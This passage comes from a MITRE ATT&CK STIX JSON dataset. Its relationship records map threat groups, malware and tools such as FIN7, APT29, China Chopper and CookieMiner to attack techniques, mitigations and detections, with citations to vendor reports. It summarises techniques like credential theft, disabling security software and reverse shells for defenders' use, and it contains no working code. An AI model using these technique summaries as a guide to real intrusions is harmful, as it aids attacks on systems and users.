2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.055Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used random junk code to obfuscate malware code.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19ae270d-686b-4c13-94c9-ade20e57556c","type":"relationship","created":"2020-03-13T21:04:13.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:04:13.665Z","relationship_type":"revoked-by","source_ref":"attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19baa7ba-5fdd-405e-996c-13e49299cbfb","created":"2023-03-27T16:14:04.326Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T16:14:04.326Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domain groups.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19be6ce1-8eea-47ff-b87c-3358d390454d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 2013"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.775Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component is capable of opening a command terminal.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19be7e10-9dab-45d1-acf4-acba7dfb6d10","created":"2022-09-08T15:13:47.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T20:19:39.097Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [zwShell](https://attack.mitre.org/software/S0350) to generate Trojan variants, control victim machines, and exfiltrate data.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19bede58-549b-4e7d-b206-6045370b9995","type":"relationship","created":"2021-10-01T01:57:31.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."}],"modified":"2021-10-12T18:18:25.376Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has added batch scripts to the startup folder.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19bef554-d625-49f9-a521-c6a8ed773083","created":"2023-01-09T19:38:19.080Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-09T19:38:19.080Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used Plink to tunnel RDP over SSH.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19bfa4e1-509b-417a-9bcc-b739f7d798a7","type":"relationship","created":"2020-07-22T19:16:02.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-07-22T19:16:02.883Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) can steal saved usernames and passwords in Chrome as well as credit card credentials.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19c0c01d-5f43-4a4d-8385-0862f6b1bf78","type":"relationship","created":"2020-05-26T21:02:38.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."},{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-05-27T22:05:32.146Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can detect and terminate active security software-related processes on infected systems.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19c33297-1efd-4489-b09c-a4230ce194f4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:44:41.833Z","description":"[Sys10](https://attack.mitre.org/software/S0060) uses an XOR 0x1 loop to encrypt its C2 domain.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19ca041f-64be-42f8-9ed1-361410a4c28b","type":"relationship","created":"2021-08-04T19:47:11.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T19:47:11.050Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) can display an RTF document to the user to enable execution of [Cobalt Strike](https://attack.mitre.org/software/S0154) stage shellcode.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19cc1620-de41-4076-b5b8-9d64364a578a","type":"relationship","created":"2020-06-26T17:48:54.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-26T17:55:45.067Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used BITS jobs to download malicious payloads.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19dba754-be06-40ab-a11d-96ef1cb20eff","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19df36ab-4da3-4077-8b83-6066a546f2e2","type":"relationship","created":"2022-03-07T23:00:16.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"modified":"2022-03-07T23:00:16.309Z","description":"[Peirates](https://attack.mitre.org/software/S0683) can gain a reverse shell on a host node by mounting the Kubernetes hostPath.(Citation: Peirates GitHub)","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19e0594c-c5b4-45c8-926e-ae884164d294","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2020-03-17T01:52:57.726Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) uses HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19e06de9-b9a1-4532-94c6-f729036ba0c3","type":"relationship","created":"2021-09-07T20:58:44.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-20T21:26:58.262Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has used the OutputDebugStringW function to avoid malware analysis as part of its anti-debugging technique.(Citation: Checkpoint Dridex Jan 2021) ","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19e387c4-0dd8-4c00-9195-73ed25ad061e","type":"relationship","created":"2020-12-28T21:51:00.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound","source_name":"GitHub Bloodhound"}],"modified":"2021-02-09T15:52:24.482Z","description":"Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later).(Citation: GitHub Bloodhound)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19e44b4d-fb66-43f9-8853-8e42692522b2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Pentestlab Stored Credentials","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","url":"https://pentestlab.blog/2017/04/19/stored-credentials/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Reg](https://attack.mitre.org/software/S0075) may be used to find credentials in the Windows Registry.(Citation: Pentestlab Stored Credentials)","relationship_type":"uses","source_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19e85b54-a6b4-4141-9284-d405af345372","created":"2024-04-12T10:33:18.249Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:33:18.249Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) will check victim systems to ensure only one copy of the malware is running.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19ed775b-d3cb-48ec-916a-c26e7539ccc6","type":"relationship","created":"2020-02-20T14:31:35.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T14:31:35.072Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--19f35c88-92c4-4e98-b024-be9f6731bdb5","created":"2019-06-21T15:16:29.301Z","x_mitre_version":"1.0","x_mitre_deprecated":false,"revoked":false,"description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","modified":"2022-04-06T12:50:21.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19f3cd7b-3a05-452f-8198-1efdf8207684","type":"relationship","created":"2021-06-21T18:07:57.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-09-01T12:54:49.302Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can check if Russian language is installed on the infected machine by using the function GetKeyboardLayoutList.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19f512b8-6869-460d-97d8-7e1f9b3c51cb","created":"2019-01-29T21:47:53.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19f93e6a-a481-4f72-856a-879742a654e4","type":"relationship","created":"2019-01-29T17:59:44.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"},{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.048Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim’s environment.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--19f9e4af-3ad9-4d0d-b4af-db145f514be9","created":"2019-05-24T17:02:44.395Z","x_mitre_version":"1.0","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used Base64 to decode malicious VBS script.(Citation: Lab52 WIRTE Apr 2019)","modified":"2022-04-15T16:58:22.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19fce62c-ba70-4c20-bf74-0bca7886190c","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.451Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a0117d8-422f-48ed-be65-9d2fcaf12ed9","type":"relationship","created":"2021-04-13T12:59:00.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:59:00.829Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to copy files on a compromised host.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a028242-1896-4867-a691-c97867f1663d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2020-03-20T23:20:17.138Z","description":"[Elise](https://attack.mitre.org/software/S0081) encrypts exfiltrated data with RC4.(Citation: Lotus Blossom Jun 